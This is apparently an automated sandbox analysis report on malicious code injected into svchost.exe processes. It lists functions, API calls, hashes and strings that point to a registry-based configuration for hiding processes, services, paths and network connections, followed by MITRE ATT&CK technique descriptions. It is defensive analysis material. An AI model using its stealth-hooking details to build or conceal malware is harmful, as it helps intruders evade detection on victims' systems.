Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction ID: 60bed6c58c811fc9480a51305fe544366d82a84ac1dbe4d575ecb31b521ad3ce
Opcode Fuzzy Hash: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction Fuzzy Hash: F351C632314FA146E674DEA9AA5C3AE6651F3857C1F056025EF8A03BDDCA35C705CB48

Function 0000025306E70604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000025306E7071B
GetLastError.KERNEL32 ref: 0000025306E7073D

Strings

U, xrefs: 0000025306E706C7

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: 7485eb8d491204f1ce11cca0cfad3f404e2594ac8933616b6f6e0bc89ec83e76
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: 7041C372324F9085EB60DFA5E9583AAA7A0F7887D5F405025EE4D87BC8EB3CC641CB44

Function 0000025306E6D6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000025306E6D6F9
LCMapStringW.KERNEL32 ref: 0000025306E6D781

Strings

LCMapStringEx, xrefs: 0000025306E6D6DC, 0000025306E6D6ED

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: 8af28ae692919d8603313224f70b36a1682288b8ea3ed641d4a538a4e1ae13c4
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: E3113836708B9086D760CB56B94429AB7A0F7C8BD0F545126EECD83B99DF38C550CB04

Function 0000025306E694A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000025306E694E8
RaiseException.KERNEL32 ref: 0000025306E6952E

Strings

csm, xrefs: 0000025306E6951B

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction ID: b07f5f03d25d9b158e06b28a41cbf469893b1758ade9a3a89ddfd8545b5bd687
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: 1D114F32204F9082EB60CF15E94425AB7A0F788BD9F185220EF9D077A9DF38C651CB04

Function 0000025306E6D65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000025306E6D68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0000025306E6D6A7

Strings

InitializeCriticalSectionEx, xrefs: 0000025306E6D681

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: 0d0f94fa5005d2db52ee7415070b774ec8ea19bb2dd30d10148e5c694d7103fb
Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: 37F0E921310FA0D1E714DBC1FE0819A3360AB88BC1F486121FA5903BDCCF38C655DB08

Function 00000253067DCB9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000253067DCBC5

Strings

October, xrefs: 00000253067DCBBE
November, xrefs: 00000253067DCBA8, 00000253067DCBB2

Memory Dump Source

Source File: 0000001E.00000002.2922053570.00000253067D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000253067D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_253067d0000_svchost.jbxd

Similarity

API ID: try_get_function
String ID: November$October
API String ID: 2742660187-1636048786
Opcode ID: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction ID: d80db938ff70edfacad32c38c6f4dd95aecdd62d6a497f35aa7aea60ab6189d6
Opcode Fuzzy Hash: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction Fuzzy Hash: 45E06511600F5591EE05D751FC483B822A59B88FC1F5974219615462DFCE38CAAAC208

Function 0000025306E6D608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000025306E6D631
TlsSetValue.KERNEL32 ref: 0000025306E6D648

Strings

FlsSetValue, xrefs: 0000025306E6D61E

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: 0510be533b4b701c4f3b3221e1973f29b97969593a1eb9b8a712a22ce5183e26
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: C3E06561310F50D1EB45DBD0FE0C69A2261AB887C2F88A122E619072DDCE38CA55DB08

Function 0000025306E61D60 Relevance: 5.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000025306E61D9B
HeapAlloc.KERNEL32 ref: 0000025306E61DAA
GetProcessHeap.KERNEL32 ref: 0000025306E61E1E
HeapFree.KERNEL32 ref: 0000025306E61E2C

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: 7ab728e6ec886f2f157317706328fc7fc6e624865e902428bb9ec71c262b5bca
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: 2F219532604FA0C5EB52CF99E90829AF3A0FB84BD5F155110EE8C47B99EF78C646C704

Function 0000025306E61274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000025306E6127A
HeapAlloc.KERNEL32 ref: 0000025306E61289
GetProcessHeap.KERNEL32 ref: 0000025306E612A3
HeapAlloc.KERNEL32 ref: 0000025306E612B4

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction ID: 046ab16719213f55cb861d30c128802dd52e7fa93de647e3b09efeb0b4122294
Opcode Fuzzy Hash: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction Fuzzy Hash: 69E06571A11B10C6E748CFA2DC0834A37E1FB88F82F48D024C909073A8DF7D869ADB80

Analysis Process: svchost.exePID: 1044, Parent PID: 7912COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1521
Total number of Limit Nodes:	6

Executed Functions

Function 000001845B3B1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001845B3B165B
HeapAlloc.KERNEL32 ref: 000001845B3B166A

Part of subcall function 000001845B3B1274: GetProcessHeap.KERNEL32 ref: 000001845B3B127A
Part of subcall function 000001845B3B1274: HeapAlloc.KERNEL32 ref: 000001845B3B1289
Part of subcall function 000001845B3B1274: GetProcessHeap.KERNEL32 ref: 000001845B3B12A3
Part of subcall function 000001845B3B1274: HeapAlloc.KERNEL32 ref: 000001845B3B12B4

RegOpenKeyExW.ADVAPI32 ref: 000001845B3B16DA
RegOpenKeyExW.ADVAPI32 ref: 000001845B3B1707
RegCloseKey.ADVAPI32 ref: 000001845B3B1721
RegOpenKeyExW.ADVAPI32 ref: 000001845B3B1741
RegCloseKey.ADVAPI32 ref: 000001845B3B175C
RegOpenKeyExW.ADVAPI32 ref: 000001845B3B177C
RegCloseKey.ADVAPI32 ref: 000001845B3B1797
RegOpenKeyExW.ADVAPI32 ref: 000001845B3B17B7
RegCloseKey.ADVAPI32 ref: 000001845B3B17D2
RegOpenKeyExW.ADVAPI32 ref: 000001845B3B17F2
RegCloseKey.ADVAPI32 ref: 000001845B3B180D
RegOpenKeyExW.ADVAPI32 ref: 000001845B3B182D
RegCloseKey.ADVAPI32 ref: 000001845B3B1848
RegOpenKeyExW.ADVAPI32 ref: 000001845B3B1868
RegCloseKey.ADVAPI32 ref: 000001845B3B1883
RegOpenKeyExW.ADVAPI32 ref: 000001845B3B18A3
RegCloseKey.ADVAPI32 ref: 000001845B3B18BE
RegCloseKey.ADVAPI32 ref: 000001845B3B18C8

Part of subcall function 000001845B3B12C8: RegQueryInfoKeyW.ADVAPI32 ref: 000001845B3B1326
Part of subcall function 000001845B3B12C8: GetProcessHeap.KERNEL32 ref: 000001845B3B1334
Part of subcall function 000001845B3B12C8: HeapAlloc.KERNEL32 ref: 000001845B3B1345
Part of subcall function 000001845B3B12C8: RegEnumValueW.ADVAPI32 ref: 000001845B3B13A1
Part of subcall function 000001845B3B12C8: GetProcessHeap.KERNEL32 ref: 000001845B3B13E9
Part of subcall function 000001845B3B12C8: HeapAlloc.KERNEL32 ref: 000001845B3B13F7
Part of subcall function 000001845B3B12C8: GetProcessHeap.KERNEL32 ref: 000001845B3B141B
Part of subcall function 000001845B3B12C8: HeapFree.KERNEL32 ref: 000001845B3B1429
Part of subcall function 000001845B3B12C8: lstrlenW.KERNEL32 ref: 000001845B3B1432
Part of subcall function 000001845B3B12C8: GetProcessHeap.KERNEL32 ref: 000001845B3B1440
Part of subcall function 000001845B3B12C8: HeapAlloc.KERNEL32 ref: 000001845B3B144E

Strings

service_names, xrefs: 000001845B3B17EB
process_names, xrefs: 000001845B3B1775
pid, xrefs: 000001845B3B173A
paths, xrefs: 000001845B3B17B0
udp, xrefs: 000001845B3B189C
tcp_remote, xrefs: 000001845B3B1861
startup, xrefs: 000001845B3B16FD
SOFTWARE\dialerconfig, xrefs: 000001845B3B16BA
tcp_local, xrefs: 000001845B3B1826

Memory Dump Source

Source File: 0000001F.00000002.2946625946.000001845B3B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001845B3B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1845b3b0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: 98342572f17e2c0f2849f571926a9787cb47dc2932bdc1abf01c5f5f531664da
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: 9E711A36320E5287EB519FA5E8516DD37B4FB88B88F509112DE4E67B28DF38C654CB00

Function 000001845B3B3458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001845B3B347A
PathFindFileNameW.SHLWAPI ref: 000001845B3B3489

Part of subcall function 000001845B3B3930: StrCmpNIW.SHLWAPI ref: 000001845B3B3948

Part of subcall function 000001845B3B3878: GetModuleHandleW.KERNEL32 ref: 000001845B3B3886
Part of subcall function 000001845B3B3878: GetCurrentProcess.KERNEL32 ref: 000001845B3B38B4
Part of subcall function 000001845B3B3878: VirtualProtectEx.KERNEL32 ref: 000001845B3B38D6
Part of subcall function 000001845B3B3878: GetCurrentProcess.KERNEL32 ref: 000001845B3B38F4
Part of subcall function 000001845B3B3878: VirtualProtectEx.KERNEL32 ref: 000001845B3B3915

CreateThread.KERNEL32 ref: 000001845B3B34D7

Part of subcall function 000001845B3B1EB4: GetCurrentThread.KERNEL32 ref: 000001845B3B1EBF

Memory Dump Source

Source File: 0000001F.00000002.2946625946.000001845B3B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001845B3B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1845b3b0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: 2d506e39111b7379acd4fe2d0cdba02ec8daa9c9dbde34a741125ca1e3d536cb
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: 8611807166063383FB6A9761F8463FD2290BB54304F54C0279A0AA51DDEF7DD3588F50

Function 000001845B3B1C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001845B3B1650: GetProcessHeap.KERNEL32 ref: 000001845B3B165B
Part of subcall function 000001845B3B1650: HeapAlloc.KERNEL32 ref: 000001845B3B166A
Part of subcall function 000001845B3B1650: RegOpenKeyExW.ADVAPI32 ref: 000001845B3B16DA
Part of subcall function 000001845B3B1650: RegOpenKeyExW.ADVAPI32 ref: 000001845B3B1707
Part of subcall function 000001845B3B1650: RegCloseKey.ADVAPI32 ref: 000001845B3B1721
Part of subcall function 000001845B3B1650: RegOpenKeyExW.ADVAPI32 ref: 000001845B3B1741
Part of subcall function 000001845B3B1650: RegCloseKey.ADVAPI32 ref: 000001845B3B175C
Part of subcall function 000001845B3B1650: RegOpenKeyExW.ADVAPI32 ref: 000001845B3B177C
Part of subcall function 000001845B3B1650: RegCloseKey.ADVAPI32 ref: 000001845B3B1797
Part of subcall function 000001845B3B1650: RegOpenKeyExW.ADVAPI32 ref: 000001845B3B17B7
Part of subcall function 000001845B3B1650: RegCloseKey.ADVAPI32 ref: 000001845B3B17D2
Part of subcall function 000001845B3B1650: RegOpenKeyExW.ADVAPI32 ref: 000001845B3B17F2

Sleep.KERNEL32 ref: 000001845B3B1C43
SleepEx.KERNEL32 ref: 000001845B3B1C49

Part of subcall function 000001845B3B1650: RegCloseKey.ADVAPI32 ref: 000001845B3B180D
Part of subcall function 000001845B3B1650: RegOpenKeyExW.ADVAPI32 ref: 000001845B3B182D
Part of subcall function 000001845B3B1650: RegCloseKey.ADVAPI32 ref: 000001845B3B1848
Part of subcall function 000001845B3B1650: RegOpenKeyExW.ADVAPI32 ref: 000001845B3B1868
Part of subcall function 000001845B3B1650: RegCloseKey.ADVAPI32 ref: 000001845B3B1883
Part of subcall function 000001845B3B1650: RegOpenKeyExW.ADVAPI32 ref: 000001845B3B18A3
Part of subcall function 000001845B3B1650: RegCloseKey.ADVAPI32 ref: 000001845B3B18BE
Part of subcall function 000001845B3B1650: RegCloseKey.ADVAPI32 ref: 000001845B3B18C8

Memory Dump Source

Source File: 0000001F.00000002.2946625946.000001845B3B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001845B3B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1845b3b0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: bb2cde7bac9d719374424f638cc156d4d42a03c104884bf0f9dc72d96ce6d1e1
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: 0C31C036220E0393FB509F26D5653EE22A4BB44BC0F24D427DE09A779EDF24C6648B50

Non-executed Functions

Function 000001845B3B104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001845B3B10AB
RegEnumValueW.ADVAPI32 ref: 000001845B3B110E
GetProcessHeap.KERNEL32 ref: 000001845B3B1155
HeapAlloc.KERNEL32 ref: 000001845B3B1163
GetProcessHeap.KERNEL32 ref: 000001845B3B1187
HeapFree.KERNEL32 ref: 000001845B3B1195

Strings

d, xrefs: 000001845B3B10CE

Memory Dump Source

Source File: 0000001F.00000002.2946625946.000001845B3B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001845B3B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1845b3b0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: a4923edc744da127f6deaf9afdc14ff09d5c36fdb56d9285ac2a8b19b68281a1
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: 36416E33624B819BE7658F62E4447DEB7A1F389B84F10812ADB8917B58DF38D665CF00

Function 000001845B3B9804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 000001845B3B9889
GetLastError.KERNEL32 ref: 000001845B3B9897
LoadLibraryExW.KERNEL32 ref: 000001845B3B98C1
FreeLibrary.KERNEL32 ref: 000001845B3B9907
GetProcAddress.KERNEL32 ref: 000001845B3B9913

Strings

api-ms-, xrefs: 000001845B3B98A9

Memory Dump Source

Source File: 0000001F.00000002.2946625946.000001845B3B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001845B3B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1845b3b0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: d4a12d9cf17e65e49c4d751932863152665286e8903b2bad97d95481339c7938
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: 8031B432312B5297FE52DB12A8107DD7394FB08BA0F198626DD2D6B388FF38D6458B00

Function 000001845B3B5C10 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001845B3B5C4B
GetThreadContext.KERNEL32 ref: 000001845B3B5DB5

Part of subcall function 000001845B3B5A40: GetCurrentThreadId.KERNEL32 ref: 000001845B3B5A44

Memory Dump Source

Source File: 0000001F.00000002.2946625946.000001845B3B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001845B3B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1845b3b0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction ID: e1134a68999cd82f49d26887fea5dcff660b6a1dd8b1d277fb91a56fc4ead8e3
Opcode Fuzzy Hash: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction Fuzzy Hash: ACD18C76209B8983DA709B1AE49539EB7A0F7C8B84F114117EACD57BA9DF38C651CF00

Function 000001845B3C0860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001845B3C08A2
GetConsoleMode.KERNEL32 ref: 000001845B3C0960
GetLastError.KERNEL32 ref: 000001845B3C09EA

Memory Dump Source

Source File: 0000001F.00000002.2946625946.000001845B3B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001845B3B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1845b3b0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: 99001781fff36d6b6543338c99b3f9985a25c105236edbf87ff72f08a38a28e2
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: E881CE36A10A928BFB529FA5C8403ED26A1FB44B88F44C157DE0A73696DF34D666CF10

Function 000001845B3B3878 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001845B3B3886
GetCurrentProcess.KERNEL32 ref: 000001845B3B38B4
VirtualProtectEx.KERNEL32 ref: 000001845B3B38D6
GetCurrentProcess.KERNEL32 ref: 000001845B3B38F4
VirtualProtectEx.KERNEL32 ref: 000001845B3B3915

Memory Dump Source

Source File: 0000001F.00000002.2946625946.000001845B3B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001845B3B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1845b3b0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: e15df84fc823a1b0a8080f26815e54af943de2d6df9d85adbd029ac8536d2e41
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: 2D113C3A704B5287FB559B51F4043ED76A0FB48B84F04802ADE8957798EF3DC618CB00

Function 000001845B3B14B4 Relevance: 6.3, APIs: 5, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001845B3B14D5
HeapFree.KERNEL32 ref: 000001845B3B14E4
GetProcessHeap.KERNEL32 ref: 000001845B3B14F0
HeapFree.KERNEL32 ref: 000001845B3B14FF
GetProcessHeap.KERNEL32 ref: 000001845B3B152A

Memory Dump Source

Source File: 0000001F.00000002.2946625946.000001845B3B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001845B3B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1845b3b0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction ID: 0ec10cd046e312453db3ae1bc249c305b61370af3cc55c833d68979488b95ce3
Opcode Fuzzy Hash: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction Fuzzy Hash: 30118B32524F899BE755EFA6E80029E7370FB89B80F04901ADB8A23718DF3CC1218B00

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
